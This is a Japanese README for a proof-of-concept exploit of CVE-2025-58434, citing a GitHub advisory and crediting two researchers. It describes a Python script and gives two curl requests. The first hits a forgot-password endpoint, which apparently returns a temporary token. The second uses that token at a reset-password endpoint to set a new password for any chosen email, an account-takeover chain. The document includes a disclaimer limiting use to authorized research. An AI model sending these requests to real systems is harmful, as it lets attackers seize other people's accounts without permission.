CVE-2025-58434 の PoC

POST /api/v1/account/forgot-password をトリガーする Python の PoC スクリプトです。

⚠️ 教育目的および許可されたセキュリティ研究のみを対象としています。 自分が所有していない、または書面によるテスト許可がないシステムに対してこのツールを実行することは違法です。

クレジット

• zaddy6 (Isaac David)
• arthurgervais (Arthur Gervais)

詳細

• CVE-2025-58434 の PoC
• 参照: https://github.com/advisories/GHSA-wgpv-6j63-x5ph

ファイル

• poc.py: マシンのURL/IP、ベアのホスト/IP使用時は任意のプロトコル、対象のメールアドレス、パスワードを入力させ、リクエストを送信して、curl -i と同様にHTTPステータス、ヘッダー、レスポンスボディを出力します。

使い方

実行:

python3 poc.py

その後、以下を入力します:

• マシンのURL/IP（例: 10.10.11.10、http://10.10.11.10、https://target.example）
• ベアのホスト/IP指定時に求められた場合はプロトコル
• メールアドレス
• パスワード

同等の curl コマンド

1つ目のリクエスト

curl -i -X POST https://<MACHINE_URL/IP>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<[email protected]>"}}'

2つ目のリクエスト

curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<[email protected]>",
          "tempToken":"<tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'